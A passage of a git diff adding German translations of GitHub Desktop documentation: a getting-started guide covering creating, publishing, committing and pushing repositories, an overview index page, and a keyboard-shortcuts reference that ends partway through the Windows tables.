+Oben in der {% data variables.product.prodname_desktop %}-App wird eine Leiste angezeigt, die den aktuellen Status deines Repositorys angibt.
+  - **Aktuelles Repository** zeigt den Namen des Repositorys an, an dem du arbeitest. Du kannst auf **Aktuelles Repository** klicken, um zu einem anderen Repository in {% data variables.product.prodname_desktop %} zu wechseln.
+  - **Aktueller Branch** zeigt den Namen des Branchs an, an dem du arbeitest. Du kannst auf **Aktueller Branch** klicken, um alle Branches in deinem Repository anzuzeigen, zu einem anderen Branch zu wechseln oder einen neuen Branch zu erstellen. Sobald du Pull Requests in deinem Repository erstellt hast, kannst du diese ebenfalls durch Klicken auf **Aktueller Branch** anzeigen.
+  - **Repository veröffentlichen** wird angezeigt, da du dein Repository noch nicht auf {% data variables.product.product_name %} veröffentlicht hast, was du im nächsten Schritt erledigst. Dieser Abschnitt der Leiste ändert sich basierend auf dem Status deines aktuellen Branchs und Repositorys. Es sind verschiedene kontextabhängige Aktionen verfügbar, mit denen du Daten zwischen deinen lokalen Repositorys und Remoterepositorys austauschen kannst.
+
+  ![GitHub Desktop erkunden](/assets/images/help/desktop/getting-started-guide/explore-github-desktop.png)
+
+### Änderungen und Verlauf
+Auf der linken Seitenleiste werden die Ansichten **Änderungen** und **Verlauf** angezeigt.
+  ![Registerkarten „Änderungen“ und „Verlauf“](/assets/images/help/desktop/changes-and-history.png)
+
+  - In der Ansicht **Änderungen** werden Änderungen angezeigt, die du an Dateien in deinem aktuellen Branch vorgenommen, aber nicht an dein lokales Repository committet hast. Unten wird ein Feld mit den Textfeldern „Zusammenfassung“ und „Beschreibung“ sowie die Schaltfläche **An BRANCH committen** angezeigt. Hier committest du die neuen Änderungen. Die Schaltfläche **An BRANCH committen** ist dynamisch und zeigt an, an welchen Branch du deine Änderungen committest.
+  ![Commitbereich](/assets/images/help/desktop/getting-started-guide/commit-area.png)
+
+  - Die Ansicht **Verlauf** zeigt die vorherigen Commits für den aktuellen Branch deines Repositorys an. Nach der Erstellung deines Repositorys sollte ein „Initial commit“ (Anfänglicher Commit) angezeigt werden, der von {% data variables.product.prodname_desktop %} erstellt wurde. Rechts neben dem Commit werden abhängig von den beim Erstellen deines Repositorys ausgewählten Optionen möglicherweise _.gitattributes_-, _.gitignore_-, _LICENSE_- oder _Infodateien_ angezeigt. Du kannst auf jede Datei klicken, um ein Diff-Element für die jeweilige Datei anzuzeigen. Hierbei handelt es sich um die Änderungen, die in diesem Commit an der Datei vorgenommen wurden. Der Diff-Wert zeigt nur die Teile der Datei, die sich geändert haben, und nicht den gesamten Dateiinhalt.
+  ![Verlaufsansicht](/assets/images/help/desktop/getting-started-guide/history-view.png)
+
+## Teil 4: Veröffentlichen deines Repositorys auf {% data variables.product.product_name %}
+Wenn du ein neues Repository erstellst, ist es nur auf deinem Computer vorhanden, und du bist die einzige Person mit Zugriff darauf. Du kannst dein Repository auf {% data variables.product.product_name %} veröffentlichen, damit es computerübergreifend synchronisiert bleibt und andere Personen darauf zugreifen können. Pushe lokale Änderungen an {% data variables.product.product_name %}, um dein Repository zu veröffentlichen.
+
+1. Klicke auf der Menüleiste auf **Repository veröffentlichen**.
+    ![Repository veröffentlichen](/assets/images/help/desktop/getting-started-guide/publish-repository.png)
+    - {% data variables.product.prodname_desktop %} füllt die Felder „Name“ und „Beschreibung“ automatisch mit den beim Erstellen des Repositorys eingegebenen Informationen aus.
+    - Mit der Option **Diesen Code privat halten** kannst du steuern, wer dein Projekt anzeigen kann. Wenn du diese Option nicht auswählst, können andere Benutzer*innen auf {% data variables.product.product_name %} deinen Code anzeigen. Wenn du diese Option aktivierst, ist dein Code nicht öffentlich verfügbar.
+    - Über das Dropdownmenü **Organisation** kannst du, falls vorhanden, dein Repository für eine bestimmte Organisation veröffentlichen, zu der du auf {% data variables.product.product_name %} gehörst.
+
+    ![Schritte zum Veröffentlichen des Repositorys](/assets/images/help/desktop/getting-started-guide/publish-repository-steps.png)
+  2. Klicke auf die Schaltfläche **Repository veröffentlichen**.
+  3. In {% data variables.product.prodname_desktop %} kannst du auf das Repository auf {% data variables.product.prodname_dotcom_the_website %} zugreifen. Klicke im Dateimenü auf **Repository** und dann auf **Auf GitHub anzeigen**. Dadurch gelangst du in deinem Standardbrowser direkt zum Repository.
+
+## Teil 5: Vornehmen von Änderungen sowie Committen und Pushen von Änderungen
+Nachdem du nun dein Repository erstellt und veröffentlicht hast, kannst du Änderungen an deinem Projekt vornehmen und mit der Durchführung deines ersten Commits an dein Repository beginnen.
+
+1. Wenn du deinen externen Editor innerhalb von {% data variables.product.prodname_desktop %} starten möchtest, klicke auf **Repository** und dann auf **In <em>EDITOR</em> öffnen**. Weitere Informationen findest du unter [Konfigurieren eines Standard-Editors](/desktop/getting-started-with-github-desktop/configuring-a-default-editor).
+  ![Öffnen im Editor](/assets/images/help/desktop/getting-started-guide/open-in-editor.png)
+
+2. Nimm einige Änderungen an der zuvor erstellten _README.md_-Datei vor. Du kannst Informationen hinzufügen, die dein Projekt beschreiben (z. B. Funktionsweise und warum es nützlich ist). Wenn du mit deinen Änderungen zufrieden bist, speichere sie in deinem Text-Editor.
+3. Navigiere in {% data variables.product.prodname_desktop %} zur Ansicht **Änderungen**. In der Dateiliste sollte deine _README.md_-Infodatei angezeigt werden. Das Häkchen links neben der _README.md_-Datei gibt an, dass deine Änderungen an der Datei Teil des Commits sind, den du durchführst. Künftig möchtest du möglicherweise an mehreren Dateien Änderungen vornehmen, gleichzeitig aber nur die Änderungen committen, die du an einigen der Dateien vorgenommen hast. Wenn du auf das Häkchen neben einer Datei klickst, wird diese Datei beim Commit nicht berücksichtigt.
+  ![Anzeigen von Änderungen](/assets/images/help/desktop/getting-started-guide/viewing-changes.png)
+
+4. Gib unten in der Liste **Änderungen** eine Commitnachricht ein. Gib rechts neben deinem Profilbild eine kurze Beschreibung zum Commit ein. Da du die _README.md_-Datei änderst, wäre „Hinzufügen von Informationen zum Projektzweck“ eine gute Commitzusammenfassung. Unterhalb der Zusammenfassung wird das Textfeld „Beschreibung“ angezeigt, in dem du eine längere Beschreibung der im Commit vorgenommenen Änderungen eingeben kannst. Dies ist hilfreich, wenn du dir den Projektverlauf ansehen und nachvollziehen möchtest, weshalb die Änderungen vorgenommen wurden. Da du eine grundlegende Aktualisierung der _README.md_-Datei vornimmst, kannst du die Beschreibung überspringen.
+  ![Commitnachricht](/assets/images/help/desktop/getting-started-guide/commit-message.png)
+5. Klicke auf **An BRANCHNAME committen**. Die Commitschaltfläche zeigt deinen aktuellen Branch an, sodass du sicher sein kannst, dass an den gewünschten Branch committet wird.
+  ![Commit an Branch](/assets/images/help/desktop/getting-started-guide/click-commit-to-master.png)
+6. Klicke auf **An origin pushen**, um deine Änderungen an das Remoterepository auf {% data variables.product.product_name %} zu pushen.
+  ![An origin pushen](/assets/images/help/desktop/getting-started-guide/push-to-origin.png)
+  - Die Schaltfläche **An origin pushen** ist dieselbe, auf die du zum Veröffentlichen deines Repositorys auf {% data variables.product.product_name %} geklickt hast. Diese Schaltfläche ändert sich kontextabhängig, je nachdem, in welcher Phase du dich im Git-Workflow befindest. Nun sollte `Push origin` mit einer `1` daneben angezeigt werden. Dies gibt an, dass ein Commit vorhanden ist, der nicht an {% data variables.product.product_name %} gepusht wurde.
+  - Das „origin“ in **An origin pushen** bedeutet, dass du Änderungen an das Remoterepository namens `origin` pushst, was in diesem Fall das Repository deines Projekts auf {% data variables.product.prodname_dotcom_the_website %} ist. Bis du neue Commits per Push-Vorgang an {% data variables.product.product_name %} überträgst, gibt es Unterschiede zwischen dem Repository deines Projekts auf deinem Computer und dem Repository deines Projekts auf {% data variables.product.prodname_dotcom_the_website %}. Dadurch kannst du lokal arbeiten und deine Änderungen nur dann an {% data variables.product.prodname_dotcom_the_website %} pushen, wenn du dazu bereit bist.
+7. Im Fenster rechts neben der Ansicht **Änderungen** werden Vorschläge für Aktionen angezeigt, die du als Nächstes ausführen kannst. Klicke auf **Auf {% data variables.product.product_name %} anzeigen**, um das Repository auf {% data variables.product.product_name %} in deinem Browser anzuzeigen.
+  ![Verfügbare Aktionen](/assets/images/help/desktop/available-actions.png)
+8. Klicke in deinem Browser auf **2 Commits**. Es wird eine Liste der Commits in diesem Repository auf {% data variables.product.product_name %} angezeigt. Der erste Commit sollte der Commit sein, den du gerade in {% data variables.product.prodname_desktop %} durchgeführt hast.
+  ![Klicken auf „2 Commits“](/assets/images/help/desktop/getting-started-guide/click-two-commits.png)
+
+## Schlussbemerkung
+Du hast nun ein Repository erstellt, es auf {% data variables.product.product_name %} veröffentlicht, einen Commit durchgeführt und deine Änderungen an {% data variables.product.product_name %} gepusht. Du kannst denselben Workflow befolgen, wenn du zu anderen Projekten beiträgst, die du selbst erstellst oder an denen du mitwirkst.
+
+## Weiterführende Themen
+- [Erste Schritte mit Git](/github/getting-started-with-github/getting-started-with-git)
+- [Informationen zu {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/learning-about-github)
+- [Erste Schritte mit {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)
diff --git a/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop.md b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop.md
new file mode 100644
index 0000000000..762f8a0338
--- /dev/null
+++ b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop.md
@@ -0,0 +1,117 @@
+---
+title: Erste Schritte mit GitHub Desktop
+intro: 'Hier erfährst du, wie du {% data variables.product.prodname_desktop %} einrichtest, authentifizierst und konfigurierst, um direkt von deinem Computer zu Projekten beitragen zu können.'
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+redirect_from:
+  - /desktop/installing-and-configuring-github-desktop/getting-started-with-github-desktop
+shortTitle: Get started
+ms.openlocfilehash: ae67886e55d88ca3c6330d3d8f3c76528e765c78
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105255'
+---
+## Einführung
+{% data variables.product.prodname_desktop %} ist eine Anwendung, mit der du mit {% data variables.product.prodname_dotcom %} über eine GUI anstelle der Befehlszeile oder eines Webbrowsers interagieren kannst. {% data variables.product.prodname_desktop %} ermutigt Dich und dein Team, unter Verwendung von Best Practices mit Git und {% data variables.product.prodname_dotcom %} zusammenzuarbeiten. Mit {% data variables.product.prodname_desktop %} kannst du die meisten Git-Befehle mit visueller Bestätigung der Änderungen über deinen Desktop durchführen. {% data variables.product.prodname_desktop %} ermöglicht das Übertragen von Daten per Push oder Pull in oder aus Remoterepositorys sowie das Klonen von Remoterepositorys und die Verwendung von Tools für die Zusammenarbeit, wie das Attribuieren von Commits und das Erstellen von Pull Requests.
+
+Dieser Leitfaden hilft dir bei den ersten Schritten mit {% data variables.product.prodname_desktop %} durch Einrichten der Anwendung, Authentifizieren deines Kontos, Konfigurieren grundlegender Einstellungen und Erläutern der Grundlagen der Projektverwaltung mit {% data variables.product.prodname_desktop %}. Nachdem du diesen Leitfaden durchgearbeitet hast, kannst du mithilfe von {% data variables.product.prodname_desktop %} zusammen mit anderen Personen an Projekten arbeiten und eine Verbindung mit Remoterepositorys herstellen.
+
+Ein grundlegendes Verständnis von Git und {% data variables.product.prodname_dotcom %} kann hilfreich sein, um die ersten Schritte mit {% data variables.product.prodname_desktop %} durchzuführen. Weitere Informationen findest du in den folgenden Artikeln.
+
+- [Verwenden von Git](/github/getting-started-with-github/using-git)
+- [Informationen zu {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/learning-about-github)
+- [Erste Schritte mit {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)
+
+{% data variables.product.prodname_desktop %} ist ein Open-Source-Projekt. Du kannst die Roadmap anzeigen, zum Projekt beitragen oder ein Issue öffnen, um Feedback anzugeben oder Featureanfragen zu stellen. Weitere Informationen findest du im [`desktop/desktop`](https://github.com/desktop/desktop)-Repository.
+
+## Teil 1: Installieren und Authentifizieren
+Du kannst {% data variables.product.prodname_desktop %} unter jedem unterstützten Betriebssystem installieren. Weitere Informationen findest du unter [Unterstützte Betriebssysteme](/desktop/getting-started-with-github-desktop/supported-operating-systems).
+
+Um {% data variables.product.prodname_desktop %} zu installieren, besuche die Downloadseite für [{% data variables.product.prodname_desktop %}](https://desktop.github.com/). Weitere Informationen findest du unter [Installieren von {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/installing-github-desktop).
+
+Nachdem du {% data variables.product.prodname_desktop %} installiert hast, kannst du die Anwendung mit deinem Konto bei {% data variables.product.prodname_dotcom %} oder {% data variables.product.prodname_enterprise %} authentifizieren. Durch die Authentifizierung kannst du eine Verbindung mit Remoterepositorys auf {% data variables.product.prodname_dotcom %} oder {% data variables.product.prodname_enterprise %} herstellen.
+
+{% mac %}
+
+1. Bevor du dich bei {% data variables.product.prodname_dotcom %} oder {% data variables.product.prodname_enterprise %} authentifizieren kannst, benötigst du ein Konto. Weitere Informationen zum Erstellen eines Kontos findest du unter [Registrieren für ein neues {% data variables.product.prodname_dotcom %}-Konto](/github/getting-started-with-github/signing-up-for-a-new-github-account), oder wende dich an den {% data variables.product.prodname_enterprise %}-Websiteadministrator.
+
+2. Klicke im Dropdownmenü von {% data variables.product.prodname_desktop %} auf **Einstellungen**. Klicke im Fenster „Einstellungen“ auf **Konten**, und führe die Schritte für die Anmeldung aus. Weitere Informationen zur Authentifizierung findest du unter [Authentifizieren bei {% data variables.product.prodname_dotcom %}](/desktop/getting-started-with-github-desktop/authenticating-to-github).
+  ![Die Schaltfläche „Sign in“ (Anmelden) für GitHub](/assets/images/help/desktop/mac-sign-in-github.png)
+
+{% endmac %}
+
+{% windows %}
+
+1. Bevor du dich bei {% data variables.product.prodname_dotcom %} oder {% data variables.product.prodname_enterprise %} authentifizieren kannst, benötigst du ein Konto. Weitere Informationen zum Erstellen eines Kontos findest du unter [Registrieren für ein neues {% data variables.product.prodname_dotcom %}-Konto](/github/getting-started-with-github/signing-up-for-a-new-github-account), oder wende dich an den {% data variables.product.prodname_enterprise %}-Websiteadministrator.
+
+2. Klicke im Menü „Datei“ auf **Optionen**. Klicke im Fenster „Optionen“ auf **Konten**, und führe die Schritte für die Anmeldung aus. Weitere Informationen zur Authentifizierung findest du unter [Authentifizieren bei {% data variables.product.prodname_dotcom %}](/desktop/getting-started-with-github-desktop/authenticating-to-github).
+  ![Die Schaltfläche „Sign in“ (Anmelden) für GitHub](/assets/images/help/desktop/windows-sign-in-github.png)
+
+{% endwindows %}
+
+## Teil 2: Konfigurieren und Anpassen von {% data variables.product.prodname_desktop %}
+Nach der Installation von {% data variables.product.prodname_desktop %} kannst du die App so konfigurieren und anpassen, dass sie deinen Anforderungen optimal entspricht.
+
+{% mac %}
+
+Im Fenster mit den {% data variables.product.prodname_desktop %}-Einstellungen kannst du Konten auf {% data variables.product.prodname_dotcom %} oder {% data variables.product.prodname_enterprise %} verbinden oder entfernen, einen Standard-Text-Editor oder eine Standardshell auswählen, deine Git-Konfiguration bearbeiten, das Aussehen von {% data variables.product.prodname_desktop %} ändern, Systemdialogfelder anpassen und Datenschutzeinstellungen festlegen. Weitere Informationen findest du unter [Konfigurieren von Grundeinstellungen](/desktop/getting-started-with-github-desktop/configuring-basic-settings).
+
+  ![Die grundlegenden Einstellungen im Einstellungsfenster](/assets/images/help/desktop/mac-appearance-tab-themes.png)
+
+{% endmac %}
+
+{% windows %}
+
+Im Fenster mit den {% data variables.product.prodname_desktop %}-Optionen kannst du Konten auf {% data variables.product.prodname_dotcom %} oder {% data variables.product.prodname_enterprise %} verbinden oder entfernen, einen Standard-Text-Editor oder eine Standardshell auswählen, deine Git-Konfiguration bearbeiten, das Aussehen von {% data variables.product.prodname_desktop %} ändern, Systemdialogfelder anpassen und Datenschutzeinstellungen festlegen. Weitere Informationen findest du unter [Konfigurieren von Grundeinstellungen](/desktop/getting-started-with-github-desktop/configuring-basic-settings).
+
+  ![Die grundlegenden Einstellungen im Fenster „Optionen“](/assets/images/help/desktop/windows-appearance-tab-themes.png)
+
+{% endwindows %}
+
+## Teil 3: Beitragen zu Projekten mit {% data variables.product.prodname_desktop %}
+Nach der Installation, Authentifizierung und Konfiguration der App kannst du mit der Verwendung von {% data variables.product.prodname_desktop %} beginnen. Du kannst Repositorys erstellen, hinzufügen oder klonen und {% data variables.product.prodname_desktop %} verwenden, um Beiträge zu deinen Repositorys zu verwalten.
+
+### Erstellen, Hinzufügen und Klonen von Repositorys
+Du kannst ein neues Repository erstellen, indem du das Menü „Datei“ auswählst und auf **Neues Repository** klickst. Weitere Informationen findest du unter [Erstellen deines ersten Repositorys mit {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/creating-your-first-repository-using-github-desktop).
+
+Du kannst ein Repository von deinem lokalen Computer hinzufügen, indem du das Menü „Datei“ auswählst und auf **Lokales Repository hinzufügen** klickst. Weitere Informationen findest du unter [Hinzufügen eines Repositorys von deinem lokalen Computer zu {% data variables.product.prodname_desktop %}](/desktop/contributing-and-collaborating-using-github-desktop/adding-a-repository-from-your-local-computer-to-github-desktop).
+
+Du kannst ein Repository aus {% data variables.product.prodname_dotcom %} klonen, indem du das Menü „Datei“ auswählst und auf **Repository klonen** klickst. Weitere Informationen findest du unter [Klonen und Forken von Repositorys über {% data variables.product.prodname_desktop %}](/desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop).
+
+{% mac %}
+
+  ![Die Optionen des Menüs „Datei“ zum Erstellen, Hinzufügen und Klonen von Repositorys](/assets/images/help/desktop/mac-file-menu.png)
+
+{% endmac %}
+
+{% windows %}
+
+  ![Die Optionen des Menüs „Datei“ zum Erstellen, Hinzufügen und Klonen von Repositorys](/assets/images/help/desktop/windows-file-menu.png)
+
+{% endwindows %}
+
+### Änderungen an einem Branch vornehmen
+Du kannst {% data variables.product.prodname_desktop %} zur Erstellung eines Projektbranchs verwenden. Durch Branches wird deine Entwicklungsarbeit von anderen Branches im Repository isoliert, sodass du sicher mit Änderungen experimentieren kannst. Weitere Informationen findest du unter [Verwalten von Branches](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches).
+
+  ![Schaltfläche „Neuer Branch“](/assets/images/help/desktop/new-branch-button-mac.png)
+
+Nachdem du Änderungen an einem Branch vorgenommen hast, kannst du sie in {% data variables.product.prodname_desktop %} überprüfen und einen Commit vornehmen, um deine Änderungen nachzuverfolgen. Weitere Informationen findest du unter [Committen und Überprüfen von Änderungen an deinem Projekt](/desktop/contributing-and-collaborating-using-github-desktop/committing-and-reviewing-changes-to-your-project).
+
+  ![Anzeigen und Durchführen von Commits](/assets/images/help/desktop/commit-button.png)
+
+Wenn du remote auf deine Änderungen zugreifen oder sie für andere Personen freigeben möchtest, kannst du deine Commits an {% data variables.product.prodname_dotcom %} pushen. Weitere Informationen findest du unter [Pushen von Änderungen auf {% data variables.product.prodname_dotcom %}](/desktop/contributing-and-collaborating-using-github-desktop/pushing-changes-to-github).
+
+### Zusammenarbeiten mit {% data variables.product.prodname_desktop %}
+Mithilfe von {% data variables.product.prodname_desktop %} kannst du Issues oder Pull Requests erstellen, um mit anderen Personen an Projekten zusammenzuarbeiten. Issues helfen dir dabei, Ideen nachzuverfolgen und mögliche Änderungen an Projekten zu besprechen. Anhand von Pull Requests kannst du deine vorgeschlagenen Änderungen mit anderen Personen teilen, Feedback erhalten und Änderungen in einem Projekt zusammenführen. Weitere Informationen findest du unter [Erstellen eines Issues oder Pull Requests](/desktop/contributing-and-collaborating-using-github-desktop/creating-an-issue-or-pull-request).
+
+Du kannst deine eigenen oder die Pull Requests von Mitarbeitern in {% data variables.product.prodname_desktop %} anzeigen. Wenn du einen Pull Request in {% data variables.product.prodname_desktop %} anzeigst, siehst du alle vorgeschlagenen Änderungen und kannst zusätzliche Änderungen vornehmen, indem du die Dateien und Repositorys des Projekts in deinem Standard-Text-Editor öffnest. Weitere Informationen findest du unter [Anzeigen eines Pull Requests in {% data variables.product.prodname_desktop %}](/desktop/contributing-and-collaborating-using-github-desktop/viewing-a-pull-request-in-github-desktop).
+
+### Synchronisieren deines lokalen Repositorys
+Wenn du Änderungen an deinen lokalen Repositorys vornimmst oder andere Personen Änderungen an den Remoterepositorys vornehmen, musst du deine lokale Kopie des Projekts mit dem Remoterepository synchronisieren. {% data variables.product.prodname_desktop %} kann deine lokale Kopie eines Projekts durch Pushen und Pullen von Commits mit der Remoteversion synchronisieren. Weitere Informationen findest du unter [Synchronisieren deines Branchs](/desktop/contributing-and-collaborating-using-github-desktop/syncing-your-branch).
+
+## Weitere Informationsquellen
+- [Installieren und Authentifizieren von {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/installing-and-authenticating-to-github-desktop)
+- [Beitragen und Zusammenarbeiten mithilfe von {% data variables.product.prodname_desktop %}](/desktop/contributing-and-collaborating-using-github-desktop)
diff --git a/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/index.md b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/index.md
new file mode 100644
index 0000000000..2120776287
--- /dev/null
+++ b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/index.md
@@ -0,0 +1,21 @@
+---
+title: Übersicht
+intro: Erfahre etwas über GitHub Desktop und erstelle schnell Dein erstes Repository.
+redirect_from:
+  - /desktop/getting-started-with-github-desktop/overview
+versions:
+  fpt: '*'
+children:
+  - /getting-started-with-github-desktop
+  - /creating-your-first-repository-using-github-desktop
+  - /supported-operating-systems
+  - /keyboard-shortcuts
+  - /launching-github-desktop-from-the-command-line
+ms.openlocfilehash: 5d78639b697abe9bbd5181a7f312db32494d7cde
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105251'
+---
+
diff --git a/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md
new file mode 100644
index 0000000000..44c4272761
--- /dev/null
+++ b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md
@@ -0,0 +1,126 @@
+---
+title: Tastenkombinationen
+intro: 'Du kannst Tastenkürzel in {% data variables.product.prodname_desktop %} verwenden.'
+redirect_from:
+  - /desktop/getting-started-with-github-desktop/keyboard-shortcuts-in-github-desktop
+  - /desktop/getting-started-with-github-desktop/keyboard-shortcuts
+  - /desktop/installing-and-configuring-github-desktop/keyboard-shortcuts
+versions:
+  fpt: '*'
+ms.openlocfilehash: 3ef22fa8c750cda167d62a3fb7e6b4315fdcb89b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145105248'
+---
+{% mac %}
+
+GitHub Desktop-Tastenkürzel auf macOS
+
+## Website-weite Tastenkürzel
+
+| Tastenkombination | Beschreibung
+|-----------|------------
+|<kbd>BEFEHL</kbd>+<kbd>,</kbd> | Zu „Preferences“ (Voreinstellungen) navigieren
+|<kbd>BEFEHL</kbd>+<kbd>H</kbd> | {% data variables.product.prodname_desktop %}-Anwendung ausblenden
+|<kbd>WAHL</kbd>+<kbd>BEFEHL</kbd>+<kbd>H</kbd> | Alle anderen Anwendungen ausblenden
+|<kbd>BEFEHL</kbd>+<kbd>Q</kbd> | {% data variables.product.prodname_desktop %} beenden
+|<kbd>CTRL</kbd>+<kbd>BEFEHL</kbd>+<kbd>F</kbd> | Vollbildansicht umschalten
+|<kbd>BEFEHL</kbd>+<kbd>0</kbd> | Zoom auf Standardtextgröße zurücksetzen
+|<kbd>BEFEHL</kbd>+<kbd>=</kbd> | Für größere Texte und Grafiken vergrößern
+|<kbd>BEFEHL</kbd>+<kbd>-</kbd> | Für kleinere Texte und Grafiken verkleinern
+|<kbd>WAHL</kbd>+<kbd>BEFEHL</kbd>+<kbd>I</kbd> | Entwicklertools umschalten
+
+## Repositorys
+
+| Tastenkombination | Beschreibung
+|-----------|------------
+|<kbd>BEFEHL</kbd>+<kbd>N</kbd> | Neues Repository hinzufügen
+|<kbd>BEFEHL</kbd>+<kbd>O</kbd> | Lokales Repository hinzufügen
+|<kbd>UMSCHALT</kbd>+<kbd>BEFEHL</kbd>+<kbd>O</kbd> | Repository in {% data variables.product.prodname_dotcom %} klonen
+|<kbd>BEFEHL</kbd>+<kbd>T</kbd> | Liste Ihrer Repositorys anzeigen
+|<kbd>BEFEHL</kbd>+<kbd>P</kbd> | Neueste Commits per Push-Vorgang an {% data variables.product.prodname_dotcom %} übertragen
+|<kbd>UMSCHALT</kbd>+<kbd>BEFEHL</kbd>+<kbd>P</kbd> | Neueste Änderungen von {% data variables.product.prodname_dotcom %} abrufen
+|<kbd>BEFEHL</kbd>+<kbd>ENTF</kbd> | Vorhandenes Repository entfernen
+|<kbd>UMSCHALT</kbd>+<kbd>BEFEHL</kbd>+<kbd>G</kbd> | Repository auf {% data variables.product.prodname_dotcom %} anzeigen
+|<kbd>CTRL</kbd>+<kbd>&grave;</kbd> | Repository in Ihrem bevorzugten Terminaltool öffnen
+|<kbd>UMSCHALT</kbd>+<kbd>BEFEHL</kbd>+<kbd>F</kbd> | Repository im Finder anzeigen
+|<kbd>UMSCHALT</kbd>+<kbd>BEFEHL</kbd>+<kbd>A</kbd> | Repository in Ihrem bevorzugten Editor-Tool öffnen
+|<kbd>BEFEHL</kbd>+<kbd>I</kbd> | Ein „Issue“ (Problemticket) auf {% data variables.product.prodname_dotcom %} erstellen
+
+## Branches
+
+| Tastenkombination | Beschreibung
+|-----------|------------
+|<kbd>BEFEHL</kbd>+<kbd>1</kbd> | Alle Ihre Änderungen vor dem Committen anzeigen
+|<kbd>BEFEHL</kbd>+<kbd>2</kbd> | Commit-Verlauf anzeigen
+|<kbd>BEFEHL</kbd>+<kbd>B</kbd> | Alle Ihre Branches anzeigen
+|<kbd>BEFEHL</kbd>+<kbd>G</kbd> | Zum Commit-Zusammenfassungsfeld navigieren
+|<kbd>BEFEHL</kbd>+<kbd>EINGABE</kbd> | Committen von Änderungen, wenn das Zusammenfassungs- oder Beschreibungsfeld aktiv ist
+|<kbd>LeerZchn</kbd>| Auswählen oder Aufheben der Auswahl aller markierten Dateien
+|<kbd>UMSCHALT</kbd>+<kbd>BEFEHL</kbd>+<kbd>N</kbd> | Neuen Branch erstellen
+|<kbd>UMSCHALT</kbd>+<kbd>BEFEHL</kbd>+<kbd>R</kbd> | Aktuellen Branch umbenennen
+|<kbd>UMSCHALT</kbd>+<kbd>BEFEHL</kbd>+<kbd>D</kbd> | Aktuellen Branch löschen
+|<kbd>UMSCHALT</kbd>+<kbd>BEFEHL</kbd>+<kbd>U</kbd> | Über Standardbranch aktualisieren
+|<kbd>UMSCHALT</kbd>+<kbd>BEFEHL</kbd>+<kbd>B</kbd> | Mit einem vorhandenen Branch vergleichen
+|<kbd>UMSCHALT</kbd>+<kbd>BEFEHL</kbd>+<kbd>M</kbd> | In aktuellen Branch mergen
+|<kbd>CTRL</kbd>+<kbd>H</kbd> | Gestashte Änderungen anzeigen oder ausblenden
+|<kbd>UMSCHALT</kbd>+<kbd>BEFEHL</kbd>+<kbd>C</kbd> | Branches auf {% data variables.product.prodname_dotcom %} vergleichen
+|<kbd>BEFEHL</kbd>+<kbd>R</kbd> | Aktuellen Pull Request auf {% data variables.product.prodname_dotcom %} anzeigen
+
+{% endmac %}
+
+{% windows %}
+
+GitHub Desktop-Tastenkürzel auf Windows
+
+## Website-weite Tastenkürzel
+
+| Tastenkombination | Beschreibung
+|-----------|------------
+|<kbd>STRG</kbd>+ <kbd>,</kbd> | Zu „Options“ (Optionen) navigieren
+|<kbd>F11</kbd> | Vollbildansicht umschalten
+|<kbd>STRG</kbd>+<kbd>0</kbd> | Zoom auf Standardtextgröße zurücksetzen
+|<kbd>STRG</kbd>+<kbd>=</kbd> | Für größere Texte und Grafiken vergrößern
+|<kbd>STRG</kbd>+<kbd>-</kbd> | Für kleinere Texte und Grafiken verkleinern
+|<kbd>STRG</kbd>+<kbd>UMSCHALT</kbd>+<kbd>I</kbd> | Entwicklertools umschalten
+
+## Repositorys
+
+| Tastenkombination | BESCHREIBUNG
+|-----------|------------
+|<kbd>STRG</kbd>+<kbd>N</kbd> | Neues Repository hinzufügen
+|<kbd>STRG</kbd>+<kbd>O</kbd> | Lokales Repository hinzufügen
+|<kbd>STRG</kbd>+<kbd>UMSCHALT</kbd>+<kbd>O</kbd> | Repository in {% data variables.product.prodname_dotcom %} klonen
+|<kbd>STRG</kbd>+<kbd>T</kbd> | Liste Ihrer Repositorys anzeigen
+|<kbd>STRG</kbd>+<kbd>P</kbd> | Neueste Commits per Push-Vorgang an {% data variables.product.prodname_dotcom %} übertragen
+|<kbd>STRG</kbd>+<kbd>UMSCHALT</kbd>+<kbd>P</kbd> | Neueste Änderungen von {% data variables.product.prodname_dotcom %} abrufen
+|<kbd>STRG</kbd>+<kbd>ENTF</kbd> | Vorhandenes Repository entfernen
+|<kbd>STRG</kbd>+<kbd>UMSCHALT</kbd>+<kbd>G</kbd> | Repository auf {% data variables.product.prodname_dotcom %} anzeigen
+|<kbd>STRG</kbd>+<kbd>&grave;</kbd> | Repository in Ihrem bevorzugten Befehlszeilentool öffnen
+|<kbd>STRG</kbd>+<kbd>UMSCHALT</kbd>+<kbd>F</kbd> | Repository im Explorer anzeigen
